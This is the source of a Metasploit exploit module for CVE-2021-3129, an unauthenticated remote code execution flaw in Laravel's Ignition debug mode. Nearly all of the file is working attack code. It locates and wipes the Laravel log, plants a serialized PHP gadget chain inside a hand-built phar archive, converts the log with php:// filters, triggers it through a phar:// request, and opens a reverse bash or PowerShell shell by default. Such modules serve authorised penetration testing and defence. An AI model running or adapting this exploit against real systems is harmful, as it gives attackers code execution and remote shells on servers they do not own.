##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unauthenticated remote code execution in Ignition',
        'Description' => %q{
          Ignition before 2.5.2, as used in Laravel and other products,
          allows unauthenticated remote attackers to execute arbitrary code
          because of insecure usage of file_get_contents() and file_put_contents().
          This is exploitable on sites using debug mode with Laravel before 8.4.2.
        },
        'Author' => [
          'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
          'ambionics' # discovered
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-3129'],
          ['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
        ],
        'DisclosureDate' => '2021-01-13',
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Windows (In-Memory)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
      OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
    ])
  end

  def check
    print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'method' => 'PUT'
    })
    # Check whether it is using facade/ignition
    # If is using it should respond method not allowed
    # checking if debug mode is enable
    if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
      vprint_status 'Debug mode is enabled.'
      # check version
      versions = JSON.parse(
        res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')
      )
      version = Rex::Version.new(versions['framework_version'])
      vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
      # to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)
      # but it is way more intrusive than just checking the version moreover we would need to call
      # the find_log_file method before, meaning four requests more.
      return Exploit::CheckCode::Appears("Laravel #{version} with Ignition appears vulnerable") if version <= Rex::Version.new('8.26.1')
    end
    return Exploit::CheckCode::Safe('Target does not appear to be running Laravel with Ignition')
  end

  def exploit
    @logfile = datastore['LOGFILE'] || find_log_file
    fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile

    clear_log
    put_payload
    convert_to_phar
    run_phar

    handler

    clear_log
  end

  def find_log_file
    vprint_status 'Trying to detect log file'
    res = post Rex::Text.rand_text_alpha_upper(12)
    if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})
      logpath = Regexp.last_match(1).gsub(/\\/, '')
      vprint_status "Found directory candidate #{logpath}"
      logfile = "#{logpath}/storage/logs/laravel.log"
      vprint_status "Checking if #{logfile} exists"
      res = post logfile
      if res.code == 200
        vprint_status "Found log file #{logfile}"
        return logfile
      end
      vprint_error "Log file does not exist #{logfile}"
      return
    end
    vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
    return
  end

  def clear_log
    res = post "php://filter/read=consumed/resource=#{@logfile}"
    # guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)
    fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200
  end

  def put_payload
    post format_payload
    post Rex::Text.rand_text_alpha_upper(2)
  end

  def convert_to_phar
    filters = %w[
      convert.quoted-printable-decode
      convert.iconv.utf-16le.utf-8
      convert.base64-decode
    ].join('|')

    post "php://filter/write=#{filters}/resource=#{@logfile}"
  end

  def run_phar
    post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
    # resp.body.match(%r{^(.*)\n<!doctype html>})
    # $1 ? print_good($1) : nil
  end

  def body_template(data)
    {
      solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
      parameters: {
        viewFile: data,
        variableName: Rex::Text.rand_text_alpha_lower(4..12)
      }
    }.to_json
  end

  def post(data)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'method' => 'POST',
      'data' => body_template(data),
      'ctype' => 'application/json',
      'headers' => {
        'Accept' => '*/*',
        'Accept-Encoding' => 'gzip, deflate'
      }
    })
  end

  def generate_phar(pop)
    file = Rex::Text.rand_text_alpha_lower(8)
    stub = "<?php __HALT_COMPILER(); ?>\r\n"
    file_contents = Rex::Text.rand_text_alpha_lower(20)
    file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
    manifest_len = 40 + pop.length + file.length
    phar = stub
    phar << [manifest_len].pack('V')              # length of manifest in bytes
    phar << [0x1].pack('V')                       # number of files in the phar
    phar << [0x11].pack('v')                      # api version of the phar manifest
    phar << [0x10000].pack('V')                   # global phar bitmapped flags
    phar << [0x0].pack('V')                       # length of phar alias
    phar << [pop.length].pack('V')                # length of phar metadata
    phar << pop                                   # pop chain
    phar << [file.length].pack('V')               # length of filename in the archive
    phar << file                                  # filename
    phar << [file_contents.length].pack('V')      # length of the uncompressed file contents
    phar << [0x0].pack('V')                       # unix timestamp of file set to Jan 01 1970.
    phar << [file_contents.length].pack('V')      # length of the compressed file contents
    phar << [file_crc32].pack('V')                # crc32 checksum of un-compressed file contents
    phar << [0x1b6].pack('V')                     # bit-mapped file-specific flags
    phar << [0x0].pack('V')                       # serialized File Meta-data length
    phar << file_contents                         # serialized File Meta-data
    phar << [Rex::Text.sha1(phar)].pack('H*')     # signature
    phar << [0x2].pack('V')                       # signiture type
    phar << 'GBMB'                                # signature presence

    return phar
  end

  def format_payload
    # rubocop:disable  Style/StringLiterals
    serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""
    serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"
    serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""
    serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""
    serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"
    serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"
    serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"
    # rubocop:enable  Style/StringLiterals
    phar = generate_phar(serialize)

    b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
    payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join

    return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
  end

end
